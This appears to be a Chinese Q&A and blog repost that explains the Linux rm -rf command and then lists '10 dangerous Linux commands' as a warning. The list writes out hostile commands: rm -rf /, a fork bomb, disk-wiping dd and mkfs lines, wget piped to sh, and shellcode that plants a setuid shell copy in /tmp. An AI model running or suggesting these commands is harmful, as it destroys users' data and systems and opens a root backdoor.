在linux中"rm .rf* "命令是做啥的?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了在linux中"rm .rf* "命令是做啥的?相关的知识,希望对你有一定的参考价值。

“rm”命令用来删除不需要的文件。该命令的功能为删除一个目录中的一个或多个文件或目录,它也可以将某个目录及其下的所有文件及子目录均删除。对于链接文件,只是断开了链接,原文件保持不变。 

“rm”命令的一般形式为: 

“rm [选项] 文件名? ”

如果没有使用“- r”选项,则rm不会删除目录。 

该命令的各选项含义如下: 

    “- f ”忽略不存在的文件,强制删除,不给出提示。 

    “- r” 指示rm将参数中列出的全部目录和子目录均递归地删除。 

    “- i ”进行交互式删除。 

使用rm命令要小心。因为一旦文件被删除,它是不能被恢复的。为了防止这种情况的发生,可以使用“i”选项来逐个确认要删除的文件。如果用户输入“y”,文件将被删除。

参考资料:linux命令大全;百度百科:linux shell

参考技术A Linux中rm命令是用来删除文件的,-r代表将目录和子目录递归式的删除,-f代表无提示强制删除。*代表所在目录下所有文件。
如果执行该命令,有权限的话会直接将你所在目录下的所有文件直接删除,并不做出任何提示。
执行该命令前应该确认你所在目录下的文件是否都是不需要的,以防止错删误删。

linux总结10大危险命令

rm -rf 命令

> rm -rf /  #强制删除根目录下所有东西。
> rm -rf *  #强制删除当前目录的所有文件。
> rm -rf .  #强制删除当前文件夹及其子文件夹。

fork 炸弹

:() { :|:& };:
bomb()
{
    bomb|bomb&
};
bomb

echo "" > /dev/sda

mv 文件夹 /dev/null

> mv /etc /dev/null

下载的文件立即执行

> wget http://rumenz.com/rumenz.sh -O- | sh

mkfs.ext3 /dev/sdb

重定向输出到文件

>  > rumenz.txt

硬盘清零

> dd if=/dev/zero of=/dev/had

执行伪装后的命令

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68″
“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99″
“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7″
“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56″
“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31″
“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69″
“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

原文链接:https://rumenz.com/rumenbiji/linux-danger-command.html
微信公众号:入门小站

以上是关于在linux中"rm .rf* "命令是做啥的?的主要内容,如果未能解决你的问题,请参考以下文章

linux总结10大危险命令

在linux中递归删除特定文件夹

linux 系统下面,rm -rf 删除的文件能找回来吗?

Linux防止“rm -rf /”误删除

Linux记录- Linux下限制rm -rf /

关于对linux命令rm -rf 的理解